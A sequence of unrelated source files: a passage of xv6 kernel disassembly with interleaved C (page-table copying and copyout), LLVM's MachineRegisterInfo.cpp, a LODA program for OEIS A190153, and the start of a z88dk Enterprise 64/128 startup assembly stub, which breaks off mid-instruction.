$0xfffffffb,(%eax) } 80106e7a: c9 leave 80106e7b: c3 ret { pte_t *pte; pte = walkpgdir(pgdir, uva, 0); if(pte == 0) panic("clearpteu"); 80106e7c: c7 04 24 6e 7b 10 80 movl $0x80107b6e,(%esp) 80106e83: e8 d8 94 ff ff call 80100360 <panic> 80106e88: 90 nop 80106e89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106e90 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 80106e90: 55 push %ebp 80106e91: 89 e5 mov %esp,%ebp 80106e93: 57 push %edi 80106e94: 56 push %esi 80106e95: 53 push %ebx 80106e96: 83 ec 2c sub $0x2c,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 80106e99: e8 12 ff ff ff call 80106db0 <setupkvm> 80106e9e: 85 c0 test %eax,%eax 80106ea0: 89 45 e0 mov %eax,-0x20(%ebp) 80106ea3: 0f 84 b9 00 00 00 je 80106f62 <copyuvm+0xd2> return 0; for(i = 0; i < sz; i += PGSIZE){ 80106ea9: 8b 45 0c mov 0xc(%ebp),%eax 80106eac: 85 c0 test %eax,%eax 80106eae: 0f 84 94 00 00 00 je 80106f48 <copyuvm+0xb8> 80106eb4: 31 ff xor %edi,%edi 80106eb6: eb 48 jmp 80106f00 <copyuvm+0x70> panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); 80106eb8: 81 c6 00 00 00 80 add $0x80000000,%esi 80106ebe: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106ec5: 00 80106ec6: 89 74 24 04 mov %esi,0x4(%esp) 80106eca: 89 04 24 mov %eax,(%esp) 80106ecd: e8 be d4 ff ff call 80104390 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) { 80106ed2: 8b 45 e4 mov -0x1c(%ebp),%eax 80106ed5: b9 00 10 00 00 mov $0x1000,%ecx 80106eda: 89 fa mov %edi,%edx 80106edc: 89 44 24 04 mov %eax,0x4(%esp) 80106ee0: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106ee6: 89 04 24 mov %eax,(%esp) 80106ee9: 8b 45 e0 mov -0x20(%ebp),%eax 80106eec: e8 df f8 ff ff call 801067d0 <mappages> 80106ef1: 85 c0 test %eax,%eax 80106ef3: 78 63 js 80106f58 <copyuvm+0xc8> uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) return 0; for(i = 0; i < sz; i += PGSIZE){ 80106ef5: 81 c7 00 10 00 00 add $0x1000,%edi 80106efb: 39 7d 0c cmp %edi,0xc(%ebp) 80106efe: 76 48 jbe 80106f48 <copyuvm+0xb8> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 80106f00: 8b 45 08 mov 0x8(%ebp),%eax 80106f03: 31 c9 xor %ecx,%ecx 80106f05: 89 fa mov %edi,%edx 80106f07: e8 34 f8 ff ff call 80106740 <walkpgdir> 80106f0c: 85 c0 test %eax,%eax 80106f0e: 74 62 je 80106f72 <copyuvm+0xe2> panic("copyuvm: pte should exist"); if(!(*pte & PTE_P)) 80106f10: 8b 00 mov (%eax),%eax 80106f12: a8 01 test $0x1,%al 80106f14: 74 50 je 80106f66 <copyuvm+0xd6> panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); 80106f16: 89 c6 mov %eax,%esi flags = PTE_FLAGS(*pte); 80106f18: 25 ff 0f 00 00 and $0xfff,%eax 80106f1d: 89 45 e4 mov %eax,-0x1c(%ebp) for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) panic("copyuvm: pte should exist"); if(!(*pte & PTE_P)) panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); 80106f20: 81 e6 00 f0 ff ff and $0xfffff000,%esi flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) 80106f26: e8 85 b5 ff ff call 801024b0 <kalloc> 80106f2b: 85 c0 test %eax,%eax 80106f2d: 89 c3 mov %eax,%ebx 80106f2f: 75 87 jne 80106eb8 <copyuvm+0x28> } } return d; bad: freevm(d); 80106f31: 8b 45 e0 mov -0x20(%ebp),%eax 80106f34: 89 04 24 mov %eax,(%esp) 80106f37: e8 f4 fd ff ff call 80106d30 <freevm> return 0; 80106f3c: 31 c0 xor %eax,%eax } 80106f3e: 83 c4 2c add $0x2c,%esp 80106f41: 5b pop %ebx 80106f42: 5e pop %esi 80106f43: 5f pop %edi 80106f44: 5d pop %ebp 80106f45: c3 ret 80106f46: 66 90 xchg %ax,%ax 80106f48: 8b 45 e0 mov -0x20(%ebp),%eax 80106f4b: 83 c4 2c add $0x2c,%esp 80106f4e: 5b pop %ebx 80106f4f: 5e pop %esi 80106f50: 5f pop %edi 80106f51: 5d pop %ebp 80106f52: c3 ret 80106f53: 90 nop 80106f54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) { kfree(mem); 80106f58: 89 1c 24 mov %ebx,(%esp) 80106f5b: e8 a0 b3 ff ff call 80102300 <kfree> goto bad; 80106f60: eb cf jmp 80106f31 <copyuvm+0xa1> pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) return 0; 80106f62: 31 c0 xor %eax,%eax 80106f64: eb d8 jmp 80106f3e <copyuvm+0xae> for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) panic("copyuvm: pte should exist"); if(!(*pte & PTE_P)) panic("copyuvm: page not present"); 80106f66: c7 04 24 92 7b 10 80 movl $0x80107b92,(%esp) 80106f6d: e8 ee 93 ff ff call 80100360 <panic> if((d = setupkvm()) == 0) return 0; for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) panic("copyuvm: pte should exist"); 80106f72: c7 04 24 78 7b 10 80 movl $0x80107b78,(%esp) 80106f79: e8 e2 93 ff ff call 80100360 <panic> 80106f7e: 66 90 xchg %ax,%ax 80106f80 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80106f80: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106f81: 31 c9 xor %ecx,%ecx //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80106f83: 89 e5 mov %esp,%ebp 80106f85: 83 ec 08 sub $0x8,%esp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106f88: 8b 55 0c mov 0xc(%ebp),%edx 80106f8b: 8b 45 08 mov 0x8(%ebp),%eax 80106f8e: e8 ad f7 ff ff call 80106740 <walkpgdir> if((*pte & PTE_P) == 0) 80106f93: 8b 00 mov (%eax),%eax 80106f95: 89 c2 mov %eax,%edx 80106f97: 83 e2 05 and $0x5,%edx return 0; if((*pte & PTE_U) == 0) 80106f9a: 83 fa 05 cmp $0x5,%edx 80106f9d: 75 11 jne 80106fb0 <uva2ka+0x30> return 0; return (char*)P2V(PTE_ADDR(*pte)); 80106f9f: 25 00 f0 ff ff and $0xfffff000,%eax 80106fa4: 05 00 00 00 80 add $0x80000000,%eax } 80106fa9: c9 leave 80106faa: c3 ret 80106fab: 90 nop 80106fac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi pte = walkpgdir(pgdir, uva, 0); if((*pte & PTE_P) == 0) return 0; if((*pte & PTE_U) == 0) return 0; 80106fb0: 31 c0 xor %eax,%eax return (char*)P2V(PTE_ADDR(*pte)); } 80106fb2: c9 leave 80106fb3: c3 ret 80106fb4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106fba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106fc0 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80106fc0: 55 push %ebp 80106fc1: 89 e5 mov %esp,%ebp 80106fc3: 57 push %edi 80106fc4: 56 push %esi 80106fc5: 53 push %ebx 80106fc6: 83 ec 1c sub $0x1c,%esp 80106fc9: 8b 5d 14 mov 0x14(%ebp),%ebx 80106fcc: 8b 4d 0c mov 0xc(%ebp),%ecx 80106fcf: 8b 7d 10 mov 0x10(%ebp),%edi char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80106fd2: 85 db test %ebx,%ebx 80106fd4: 75 3a jne 80107010 <copyout+0x50> 80106fd6: eb 68 jmp 80107040 <copyout+0x80> va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80106fd8: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106fdb: 89 f2 mov %esi,%edx if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); 80106fdd: 89 7c 24 04 mov %edi,0x4(%esp) while(len > 0){ va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80106fe1: 29 ca sub %ecx,%edx 80106fe3: 81 c2 00 10 00 00 add $0x1000,%edx 80106fe9: 39 da cmp %ebx,%edx 80106feb: 0f 47 d3 cmova %ebx,%edx if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); 80106fee: 29 f1 sub %esi,%ecx 80106ff0: 01 c8 add %ecx,%eax 80106ff2: 89 54 24 08 mov %edx,0x8(%esp) 80106ff6: 89 04 24 mov %eax,(%esp) 80106ff9: 89 55 e4 mov %edx,-0x1c(%ebp) 80106ffc: e8 8f d3 ff ff call 80104390 <memmove> len -= n; buf += n; 80107001: 8b 55 e4 mov -0x1c(%ebp),%edx va = va0 + PGSIZE; 80107004: 8d 8e 00 10 00 00 lea 0x1000(%esi),%ecx n = PGSIZE - (va - va0); if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); len -= n; buf += n; 8010700a: 01 d7 add %edx,%edi { char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 8010700c: 29 d3 sub %edx,%ebx 8010700e: 74 30 je 80107040 <copyout+0x80> va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); 80107010: 8b 45 08 mov 0x8(%ebp),%eax char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ va0 = (uint)PGROUNDDOWN(va); 80107013: 89 ce mov %ecx,%esi 80107015: 81 e6 00 f0 ff ff and $0xfffff000,%esi pa0 = uva2ka(pgdir, (char*)va0); 8010701b: 89 74 24 04 mov %esi,0x4(%esp) char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ va0 = (uint)PGROUNDDOWN(va); 8010701f: 89 4d e4 mov %ecx,-0x1c(%ebp) pa0 = uva2ka(pgdir, (char*)va0); 80107022: 89 04 24 mov %eax,(%esp) 80107025: e8 56 ff ff ff call 80106f80 <uva2ka> if(pa0 == 0) 8010702a: 85 c0 test %eax,%eax 8010702c: 75 aa jne 80106fd8 <copyout+0x18> len -= n; buf += n; va = va0 + PGSIZE; } return 0; } 8010702e: 83 c4 1c add $0x1c,%esp buf = (char*)p; while(len > 0){ va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; 80107031: b8 ff ff ff ff mov $0xffffffff,%eax len -= n; buf += n; va = va0 + PGSIZE; } return 0; } 80107036: 5b pop %ebx 80107037: 5e pop %esi 80107038: 5f pop %edi 80107039: 5d pop %ebp 8010703a: c3 ret 8010703b: 90 nop 8010703c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80107040: 83 c4 1c add $0x1c,%esp memmove(pa0 + (va - va0), buf, n); len -= n; buf += n; va = va0 + PGSIZE; } return 0; 80107043: 31 c0 xor %eax,%eax } 80107045: 5b pop %ebx 80107046: 5e pop %esi 80107047: 5f pop %edi 80107048: 5d pop %ebp 80107049: c3 ret
//===-- lib/Codegen/MachineRegisterInfo.cpp -------------------------------===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // Implementation of the MachineRegisterInfo class. // //===----------------------------------------------------------------------===// #include "llvm/CodeGen/MachineRegisterInfo.h" #include "llvm/CodeGen/MachineInstrBuilder.h" #include "llvm/IR/Function.h" #include "llvm/Support/raw_os_ostream.h" #include "llvm/Target/TargetInstrInfo.h" #include "llvm/Target/TargetMachine.h" #include "llvm/Target/TargetSubtargetInfo.h" using namespace llvm; // Pin the vtable to this file. void MachineRegisterInfo::Delegate::anchor() {} MachineRegisterInfo::MachineRegisterInfo(const MachineFunction *MF) : MF(MF), TheDelegate(nullptr), IsSSA(true), TracksLiveness(true), TracksSubRegLiveness(false) { VRegInfo.reserve(256); RegAllocHints.reserve(256); UsedPhysRegMask.resize(getTargetRegisterInfo()->getNumRegs()); // Create the physreg use/def lists. PhysRegUseDefLists.resize(getTargetRegisterInfo()->getNumRegs(), nullptr); } /// setRegClass - Set the register class of the specified virtual register. /// void MachineRegisterInfo::setRegClass(unsigned Reg, const TargetRegisterClass *RC) { assert(RC && RC->isAllocatable() && "Invalid RC for virtual register"); VRegInfo[Reg].first = RC; } const TargetRegisterClass * MachineRegisterInfo::constrainRegClass(unsigned Reg, const TargetRegisterClass *RC, unsigned MinNumRegs) { const TargetRegisterClass *OldRC = getRegClass(Reg); if (OldRC == RC) return RC; const TargetRegisterClass *NewRC = getTargetRegisterInfo()->getCommonSubClass(OldRC, RC); if (!NewRC || NewRC == OldRC) return NewRC; if (NewRC->getNumRegs() < MinNumRegs) return nullptr; setRegClass(Reg, NewRC); return NewRC; } bool MachineRegisterInfo::recomputeRegClass(unsigned Reg) { const TargetInstrInfo *TII = MF->getSubtarget().getInstrInfo(); const TargetRegisterClass *OldRC = getRegClass(Reg); const TargetRegisterClass *NewRC = getTargetRegisterInfo()->getLargestLegalSuperClass(OldRC, *MF); // Stop early if there is no room to grow. if (NewRC == OldRC) return false; // Accumulate constraints from all uses. for (MachineOperand &MO : reg_nodbg_operands(Reg)) { // Apply the effect of the given operand to NewRC. MachineInstr *MI = MO.getParent(); unsigned OpNo = &MO - &MI->getOperand(0); NewRC = MI->getRegClassConstraintEffect(OpNo, NewRC, TII, getTargetRegisterInfo()); if (!NewRC || NewRC == OldRC) return false; } setRegClass(Reg, NewRC); return true; } /// createVirtualRegister - Create and return a new virtual register in the /// function with the specified register class. /// unsigned MachineRegisterInfo::createVirtualRegister(const TargetRegisterClass *RegClass){ assert(RegClass && "Cannot create register without RegClass!"); assert(RegClass->isAllocatable() && "Virtual register RegClass must be allocatable."); // New virtual register number. unsigned Reg = TargetRegisterInfo::index2VirtReg(getNumVirtRegs()); VRegInfo.grow(Reg); VRegInfo[Reg].first = RegClass; RegAllocHints.grow(Reg); if (TheDelegate) TheDelegate->MRI_NoteNewVirtualRegister(Reg); return Reg; } /// clearVirtRegs - Remove all virtual registers (after physreg assignment). void MachineRegisterInfo::clearVirtRegs() { #ifndef NDEBUG for (unsigned i = 0, e = getNumVirtRegs(); i != e; ++i) { unsigned Reg = TargetRegisterInfo::index2VirtReg(i); if (!VRegInfo[Reg].second) continue; verifyUseList(Reg); llvm_unreachable("Remaining virtual register operands"); } #endif VRegInfo.clear(); for (auto &I : LiveIns) I.second = 0; } void MachineRegisterInfo::verifyUseList(unsigned Reg) const { #ifndef NDEBUG bool Valid = true; for (MachineOperand &M : reg_operands(Reg)) { MachineOperand *MO = &M; MachineInstr *MI = MO->getParent(); if (!MI) { errs() << PrintReg(Reg, getTargetRegisterInfo()) << " use list MachineOperand " << MO << " has no parent instruction.\n"; Valid = false; continue; } MachineOperand *MO0 = &MI->getOperand(0); unsigned NumOps = MI->getNumOperands(); if (!(MO >= MO0 && MO < MO0+NumOps)) { errs() << PrintReg(Reg, getTargetRegisterInfo()) << " use list MachineOperand " << MO << " doesn't belong to parent MI: " << *MI; Valid = false; } if (!MO->isReg()) { errs() << PrintReg(Reg, getTargetRegisterInfo()) << " MachineOperand " << MO << ": " << *MO << " is not a register\n"; Valid = false; } if (MO->getReg() != Reg) { errs() << PrintReg(Reg, getTargetRegisterInfo()) << " use-list MachineOperand " << MO << ": " << *MO << " is the wrong register\n"; Valid = false; } } assert(Valid && "Invalid use list"); #endif } void MachineRegisterInfo::verifyUseLists() const { #ifndef NDEBUG for (unsigned i = 0, e = getNumVirtRegs(); i != e; ++i) verifyUseList(TargetRegisterInfo::index2VirtReg(i)); for (unsigned i = 1, e = getTargetRegisterInfo()->getNumRegs(); i != e; ++i) verifyUseList(i); #endif } /// Add MO to the linked list of operands for its register. void MachineRegisterInfo::addRegOperandToUseList(MachineOperand *MO) { assert(!MO->isOnRegUseList() && "Already on list"); MachineOperand *&HeadRef = getRegUseDefListHead(MO->getReg()); MachineOperand *const Head = HeadRef; // Head points to the first list element. // Next is NULL on the last list element. // Prev pointers are circular, so Head->Prev == Last. // Head is NULL for an empty list. if (!Head) { MO->Contents.Reg.Prev = MO; MO->Contents.Reg.Next = nullptr; HeadRef = MO; return; } assert(MO->getReg() == Head->getReg() && "Different regs on the same list!"); // Insert MO between Last and Head in the circular Prev chain. MachineOperand *Last = Head->Contents.Reg.Prev; assert(Last && "Inconsistent use list"); assert(MO->getReg() == Last->getReg() && "Different regs on the same list!"); Head->Contents.Reg.Prev = MO; MO->Contents.Reg.Prev = Last; // Def operands always precede uses. This allows def_iterator to stop early. // Insert def operands at the front, and use operands at the back. if (MO->isDef()) { // Insert def at the front. MO->Contents.Reg.Next = Head; HeadRef = MO; } else { // Insert use at the end. MO->Contents.Reg.Next = nullptr; Last->Contents.Reg.Next = MO; } } /// Remove MO from its use-def list. void MachineRegisterInfo::removeRegOperandFromUseList(MachineOperand *MO) { assert(MO->isOnRegUseList() && "Operand not on use list"); MachineOperand *&HeadRef = getRegUseDefListHead(MO->getReg()); MachineOperand *const Head = HeadRef; assert(Head && "List already empty"); // Unlink this from the doubly linked list of operands. MachineOperand *Next = MO->Contents.Reg.Next; MachineOperand *Prev = MO->Contents.Reg.Prev; // Prev links are circular, next link is NULL instead of looping back to Head. if (MO == Head) HeadRef = Next; else Prev->Contents.Reg.Next = Next; (Next ? Next : Head)->Contents.Reg.Prev = Prev; MO->Contents.Reg.Prev = nullptr; MO->Contents.Reg.Next = nullptr; } /// Move NumOps operands from Src to Dst, updating use-def lists as needed. /// /// The Dst range is assumed to be uninitialized memory. (Or it may contain /// operands that won't be destroyed, which is OK because the MO destructor is /// trivial anyway). /// /// The Src and Dst ranges may overlap. void MachineRegisterInfo::moveOperands(MachineOperand *Dst, MachineOperand *Src, unsigned NumOps) { assert(Src != Dst && NumOps && "Noop moveOperands"); // Copy backwards if Dst is within the Src range. int Stride = 1; if (Dst >= Src && Dst < Src + NumOps) { Stride = -1; Dst += NumOps - 1; Src += NumOps - 1; } // Copy one operand at a time. do { new (Dst) MachineOperand(*Src); // Dst takes Src's place in the use-def chain. if (Src->isReg()) { MachineOperand *&Head = getRegUseDefListHead(Src->getReg()); MachineOperand *Prev = Src->Contents.Reg.Prev; MachineOperand *Next = Src->Contents.Reg.Next; assert(Head && "List empty, but operand is chained"); assert(Prev && "Operand was not on use-def list"); // Prev links are circular, next link is NULL instead of looping back to // Head. if (Src == Head) Head = Dst; else Prev->Contents.Reg.Next = Dst; // Update Prev pointer. This also works when Src was pointing to itself // in a 1-element list. In that case Head == Dst. (Next ? Next : Head)->Contents.Reg.Prev = Dst; } Dst += Stride; Src += Stride; } while (--NumOps); } /// replaceRegWith - Replace all instances of FromReg with ToReg in the /// machine function. This is like llvm-level X->replaceAllUsesWith(Y), /// except that it also changes any definitions of the register as well. /// If ToReg is a physical register we apply the sub register to obtain the /// final/proper physical register. void MachineRegisterInfo::replaceRegWith(unsigned FromReg, unsigned ToReg) { assert(FromReg != ToReg && "Cannot replace a reg with itself"); const TargetRegisterInfo *TRI = getTargetRegisterInfo(); // TODO: This could be more efficient by bulk changing the operands. for (reg_iterator I = reg_begin(FromReg), E = reg_end(); I != E; ) { MachineOperand &O = *I; ++I; if (TargetRegisterInfo::isPhysicalRegister(ToReg)) { O.substPhysReg(ToReg, *TRI); } else { O.setReg(ToReg); } } } /// getVRegDef - Return the machine instr that defines the specified virtual /// register or null if none is found. This assumes that the code is in SSA /// form, so there should only be one definition. MachineInstr *MachineRegisterInfo::getVRegDef(unsigned Reg) const { // Since we are in SSA form, we can use the first definition. def_instr_iterator I = def_instr_begin(Reg); assert((I.atEnd() || std::next(I) == def_instr_end()) && "getVRegDef assumes a single definition or no definition"); return !I.atEnd() ? &*I : nullptr; } /// getUniqueVRegDef - Return the unique machine instr that defines the /// specified virtual register or null if none is found. If there are /// multiple definitions or no definition, return null. MachineInstr *MachineRegisterInfo::getUniqueVRegDef(unsigned Reg) const { if (def_empty(Reg)) return nullptr; def_instr_iterator I = def_instr_begin(Reg); if (std::next(I) != def_instr_end()) return nullptr; return &*I; } bool MachineRegisterInfo::hasOneNonDBGUse(unsigned RegNo) const { use_nodbg_iterator UI = use_nodbg_begin(RegNo); if (UI == use_nodbg_end()) return false; return ++UI == use_nodbg_end(); } /// clearKillFlags - Iterate over all the uses of the given register and /// clear the kill flag from the MachineOperand. This function is used by /// optimization passes which extend register lifetimes and need only /// preserve conservative kill flag information. void MachineRegisterInfo::clearKillFlags(unsigned Reg) const { for (MachineOperand &MO : use_operands(Reg)) MO.setIsKill(false); } bool MachineRegisterInfo::isLiveIn(unsigned Reg) const { for (livein_iterator I = livein_begin(), E = livein_end(); I != E; ++I) if (I->first == Reg || I->second == Reg) return true; return false; } /// getLiveInPhysReg - If VReg is a live-in virtual register, return the /// corresponding live-in physical register. unsigned MachineRegisterInfo::getLiveInPhysReg(unsigned VReg) const { for (livein_iterator I = livein_begin(), E = livein_end(); I != E; ++I) if (I->second == VReg) return I->first; return 0; } /// getLiveInVirtReg - If PReg is a live-in physical register, return the /// corresponding live-in physical register. unsigned MachineRegisterInfo::getLiveInVirtReg(unsigned PReg) const { for (livein_iterator I = livein_begin(), E = livein_end(); I != E; ++I) if (I->first == PReg) return I->second; return 0; } /// EmitLiveInCopies - Emit copies to initialize livein virtual registers /// into the given entry block. void MachineRegisterInfo::EmitLiveInCopies(MachineBasicBlock *EntryMBB, const TargetRegisterInfo &TRI, const TargetInstrInfo &TII) { // Emit the copies into the top of the block. for (unsigned i = 0, e = LiveIns.size(); i != e; ++i) if (LiveIns[i].second) { if (use_empty(LiveIns[i].second)) { // The livein has no uses. Drop it. // // It would be preferable to have isel avoid creating live-in // records for unused arguments in the first place, but it's // complicated by the debug info code for arguments. LiveIns.erase(LiveIns.begin() + i); --i; --e; } else { // Emit a copy. BuildMI(*EntryMBB, EntryMBB->begin(), DebugLoc(), TII.get(TargetOpcode::COPY), LiveIns[i].second) .addReg(LiveIns[i].first); // Add the register to the entry block live-in set. EntryMBB->addLiveIn(LiveIns[i].first); } } else { // Add the register to the entry block live-in set. EntryMBB->addLiveIn(LiveIns[i].first); } } LaneBitmask MachineRegisterInfo::getMaxLaneMaskForVReg(unsigned Reg) const { // Lane masks are only defined for vregs. assert(TargetRegisterInfo::isVirtualRegister(Reg)); const TargetRegisterClass &TRC = *getRegClass(Reg); return TRC.getLaneMask(); } #ifndef NDEBUG void MachineRegisterInfo::dumpUses(unsigned Reg) const { for (MachineInstr &I : use_instructions(Reg)) I.dump(); } #endif void MachineRegisterInfo::freezeReservedRegs(const MachineFunction &MF) { ReservedRegs = getTargetRegisterInfo()->getReservedRegs(MF); assert(ReservedRegs.size() == getTargetRegisterInfo()->getNumRegs() && "Invalid ReservedRegs vector from target"); } bool MachineRegisterInfo::isConstantPhysReg(unsigned PhysReg, const MachineFunction &MF) const { assert(TargetRegisterInfo::isPhysicalRegister(PhysReg)); // Check if any overlapping register is modified, or allocatable so it may be // used later. for (MCRegAliasIterator AI(PhysReg, getTargetRegisterInfo(), true); AI.isValid(); ++AI) if (!def_empty(*AI) || isAllocatable(*AI)) return false; return true; } /// markUsesInDebugValueAsUndef - Mark every DBG_VALUE referencing the /// specified register as undefined which causes the DBG_VALUE to be /// deleted during LiveDebugVariables analysis. void MachineRegisterInfo::markUsesInDebugValueAsUndef(unsigned Reg) const { // Mark any DBG_VALUE that uses Reg as undef (but don't delete it.) MachineRegisterInfo::use_instr_iterator nextI; for (use_instr_iterator I = use_instr_begin(Reg), E = use_instr_end(); I != E; I = nextI) { nextI = std::next(I); // I is invalidated by the setReg MachineInstr *UseMI = &*I; if (UseMI->isDebugValue()) UseMI->getOperand(0).setReg(0U); } } static const Function *getCalledFunction(const MachineInstr &MI) { for (const MachineOperand &MO : MI.operands()) { if (!MO.isGlobal()) continue; const Function *Func = dyn_cast<Function>(MO.getGlobal()); if (Func != nullptr) return Func; } return nullptr; } static bool isNoReturnDef(const MachineOperand &MO) { // Anything which is not a noreturn function is a real def. const MachineInstr &MI = *MO.getParent(); if (!MI.isCall()) return false; const MachineBasicBlock &MBB = *MI.getParent(); if (!MBB.succ_empty()) return false; const MachineFunction &MF = *MBB.getParent(); // We need to keep correct unwind information even if the function will // not return, since the runtime may need it. if (MF.getFunction()->hasFnAttribute(Attribute::UWTable)) return false; const Function *Called = getCalledFunction(MI); if (Called == nullptr || !Called->hasFnAttribute(Attribute::NoReturn) || !Called->hasFnAttribute(Attribute::NoUnwind)) return false; return true; } bool MachineRegisterInfo::isPhysRegModified(unsigned PhysReg) const { if (UsedPhysRegMask.test(PhysReg)) return true; const TargetRegisterInfo *TRI = getTargetRegisterInfo(); for (MCRegAliasIterator AI(PhysReg, TRI, true); AI.isValid(); ++AI) { for (const MachineOperand &MO : make_range(def_begin(*AI), def_end())) { if (isNoReturnDef(MO)) continue; return true; } } return false; } bool MachineRegisterInfo::isPhysRegUsed(unsigned PhysReg) const { if (UsedPhysRegMask.test(PhysReg)) return true; const TargetRegisterInfo *TRI = getTargetRegisterInfo(); for (MCRegAliasIterator AliasReg(PhysReg, TRI, true); AliasReg.isValid(); ++AliasReg) { if (!reg_nodbg_empty(*AliasReg)) return true; } return false; }
; A190153: Row sums of the triangle A190152. ; 1,2,12,65,351,1897,10252,55405,299426,1618192,8745217,47261895,255418101,1380359512,7459895657,40315615410,217878227876,1177482265857,6363483400447,34390259761825,185855747875876,1004422742303477,5428215467030962,29335778567637640,158539746514553601,856798505175074247,4630407797472116077,25024175744225282480,135238492821245718801,730871223392151275042,3949857278347473095292,21346267331342913745345,115361922436801666192351,623452004125041631547737,3369330132830154403868732 mul $0,2 mov $1,1 lpb $0 sub $0,1 add $2,$1 add $1,$3 add $3,$2 lpe mov $0,$1
; ; Enterprise 64/128 C stub ; ; Stefano Bodrato - 2011 ; ; ; $Id: enterprise_crt0.asm,v 1.14 2015/01/21 07:05:00 stefano Exp $ ; ; There are a couple of #pragma commands which affect ; this file: ; ; #pragma no-streams - No stdio disc files ; #pragma no-fileio - No fileio at all ; #pragma no-protectmsdos - strip the MS-DOS protection header ; ; These can cut down the size of the resultant executable MODULE enterprise_crt0 ; ; Initially include the zcc_opt.def file to find out lots of lovely ; information about what we should do.. ; INCLUDE "zcc_opt.def" ;-------- ; Some scope definitions ;-------- EXTERN _main PUBLIC cleanup PUBLIC l_dcal PUBLIC _std_seed PUBLIC snd_tick ; Sound variable PUBLIC bit_irqstatus ; current irq status when DI is necessary PUBLIC _vfprintf PUBLIC exitsp PUBLIC exitcount PUBLIC heaplast ; Near malloc heap variables PUBLIC heapblocks PUBLIC __sgoioblk ; Enterprise 64/128 specific stuff PUBLIC warmreset PUBLIC set_exos_multi_variables PUBLIC _DEV_VIDEO PUBLIC _DEV_KEYBOARD PUBLIC _DEV_NET PUBLIC _DEV_EDITOR PUBLIC _DEV_SERIAL PUBLIC _DEV_TAPE PUBLIC _DEV_PRINTER PUBLIC _DEV_SOUND PUBLIC _esccmd PUBLIC _esccmd_cmd PUBLIC _esccmd_x PUBLIC _esccmd_y PUBLIC _esccmd_p1 PUBLIC _esccmd_p2 PUBLIC _esccmd_p3 PUBLIC _esccmd_p4 PUBLIC _esccmd_p5 PUBLIC _esccmd_p6 PUBLIC _esccmd_p7 PUBLIC _esccmd_p8 PUBLIC _esccmd_p9 PUBLIC _esccmd_env PUBLIC _esccmd_p PUBLIC _esccmd_vl PUBLIC _esccmd_vr PUBLIC _esccmd_sty PUBLIC _esccmd_ch PUBLIC _esccmd_d PUBLIC _esccmd_f PUBLIC _esccmd_en PUBLIC _esccmd_ep PUBLIC _esccmd_er PUBLIC _esccmd_phase PUBLIC _esccmd_cp PUBLIC _esccmd_cl PUBLIC _esccmd_cr PUBLIC _esccmd_pd IF !myzorg defc myzorg = 100h ENDIF org myzorg ;---------------------- ; Execution starts here ;---------------------- start: IF (startup=2) IF !DEFINED_noprotectmsdos ; This protection takes little less than 50 bytes defb $eb,$04 ;MS DOS protection... JMPS to MS-DOS message if Intel ex de,hl jp begin ;First decent instruction for Z80, if survived up to here ! defb $b4,$09 ;DOS protection... MOV AH,9 (Err msg for MS-DOS) defb $ba defw dosmessage ;DOS protection... MOV DX,OFFSET dosmessage defb $cd,$21 ;DOS protection... INT 21h. defb $cd,$20 ;DOS protection... INT 20h. dosmessage: defm "This program is for the Enterprise computer." defb 13,10,'$' begin: ENDIF ENDIF ; Inspired by the DizzyLord loader by ORKSOFT ;di ld a, 004h out (0bfh), a ld sp, 07F00h ld a, 0ffh out 